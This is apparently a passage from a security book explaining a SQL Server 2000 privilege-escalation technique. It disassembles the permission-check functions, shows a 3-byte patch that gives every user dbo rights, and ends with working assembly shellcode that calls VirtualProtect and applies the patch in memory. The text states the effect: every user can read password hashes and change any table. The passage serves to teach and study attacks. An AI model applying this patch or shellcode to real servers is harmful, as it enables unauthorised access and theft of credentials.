Note | It is worth pointing out that we have symbols because they are provided by Microsoft in the file sqlservr .pdb; this is a rare luxury. |
Clearly, the FHasObjPermissions function is relevant. Examining it, we see:
004262BB E8 94 D7 FE FF call ExecutionContext::Uid (00413a54) 004262C0 66 3D 01 00 cmp ax,offset FHasObjPermissions+0B7h (004262c2) 004262C4 0F 85 AC 0C 1F 00 jne FHasObjPermissions+0C7h (00616f76)
This equates to:
Get the UID .
Compare the UID to 0x0001 .
If it isn't 0x0001 , jump (after some other checks) to the exception-generating code.
This implies that UID 1 has a special meaning. Examining the sysusers table with:
select * from sysusers
we see that UID 1 is dbo , the database owner. Consulting the SQL Server documentation online ( http://doc.ddart.net/ mssql /sql2000/html/setupsql/ad_security_9qyh.htm) , we read that:
The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo . Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.
Clearly, we want to be UID 1 . A small assembler patch can easily grant this.
Examining the code for ExecutionContext::UID , we find that the default code path is straightforward.
?Uid@ExecutionContext@@AEFXZ: 00413A54 56 push esi 00413A55 8B F1 mov esi,ecx 00413A57 8B 06 mov eax,dword ptr [esi] 00413A59 8B 40 48 mov eax,dword ptr [eax+48h] 00413A5C 85 C0 test eax,eax 00413A5E 0F 84 6E 59 24 00 je ExecutionContext::Uid+0Ch (006593d2) 00413A64 8B 0D 70 2B A0 00 mov ecx,dword ptr [__tls_index (00a02b70)] 00413A6A 64 8B 15 2C 00 00 00 mov edx,dword ptr fs:[2Ch] 00413A71 8B 0C 8A mov ecx,dword ptr [edx+ecx*4] 00413A74 39 71 08 cmp dword ptr [ecx+8],esi 00413A77 0F 85 5B 59 24 00 jne ExecutionContext::Uid+2Ah (006593d8) 00413A7D F6 40 06 01 test byte ptr [eax+6],1 00413A81 74 1A je ExecutionContext::Uid+3Bh (00413a9d) 00413A83 8B 06 mov eax,dword ptr [esi] 00413A85 8B 40 48 mov eax,dword ptr [eax+48h] 00413A88 F6 40 06 01 test byte ptr [eax+6],1 00413A8C 0F 84 6A 59 24 00 je ExecutionContext::Uid+63h (006593fc) 00413A92 8B 06 mov eax,dword ptr [esi] 00413A94 8B 40 48 mov eax,dword ptr [eax+48h] 00413A97 66 8B 40 02 mov ax,word ptr [eax+2] 00413A9B 5E pop esi 00413A9C C3 ret
The point of interest here is the line:
00413A97 66 8B 40 02 mov ax,word ptr [eax+2]
This code is assigning to AX , our magic UID code.
To recap, we found in FHasObjPermissions code that calls the function ExecutionContext::UID and appears to give special access to the hardcoded UID 1 . We can easily patch this code so that every user has UID 1 by replacing
00413A97 66 8B 40 02 mov ax,word ptr [eax+2]
with this new instruction:
00413A97 66 B8 01 00 mov ax,offset ExecutionContext::Uid+85h (00413a99)
This is effectively mov ax, 1 . Testing the effectiveness of this, we find that any user can now run
select password from sysxlogins
At the very least, this gives everyone access to the password hashes and thereby (via a password-cracking utility) access to the passwords for all the accounts in the database.
Testing access to other tables, we find that we can now select, insert, update, and delete from any table in the database as any user. This feat has been achieved by patching only 3 bytes of SQL Server code.
Now that we have a clear understanding of our patch, we need to create an exploit that carries out the patch without incurring an error. A number of arbitrary code overflows and format string bugs are known in SQL Server; this chapter will not go into the specifics of those issues. There are a few problems related to writing this kind of exploit that invite discussion, however.
First, the exploit code cannot simply overwrite the code in memory. Windows NT can apply access controls to pages in memory, and code pages are typically marked as PAGE_EXECUTE_READ; an attempt to modify the code results in an access violation.
This problem is easily resolved using the VirtualProtect function.
ret = VirtualProtect( address, num_bytes_to_change, PAGE_EXECUTE_READWRITE, &old_protection_value );
The exploit simply calls VirtualProtect to mark the page as writeable and then overwrites the bytes in memory.
If the bytes that we are patching reside in a DLL, they may be relocated in memory in a dynamic fashion. Similarly, different patch levels of SQL Server will move the patch target around, so the exploit code should attempt to find the bytes in memory rather than just patching an absolute address.
Here is an example exploit that does roughly what has been described above, with hardcoded addresses for Windows 2000 Service Pack 2. This code is deplorably basic and intended for demonstration purposes only.
mov ecx, 0xc35e0240 mov edx, 0x8b664840 mov eax, 0x00400000 next: cmp eax, 0x00600000 je end inc eax cmp dword ptr[eax], edx je found jmp next found: cmp dword ptr[eax + 4], ecx je foundboth jmp next foundboth: mov ebx,eax ; save eax ; (virtualprotect then write) push esp push 0x40 ; PAGE_EXECUTE_READWRITE push 8 ; number of bytes to unprotect push eax ; start address to unprotect mov eax, 0x77e8a6ec ; address of VirtualProtect call eax mov eax, ebx ; get the address back mov dword ptr[eax],0xb8664840 mov dword ptr[eax+4],0xc35e0001 end: xor eax, eax call eax ; SQL Server handles the exception with ; no problem so we don't need to worry ; about continuation of execution!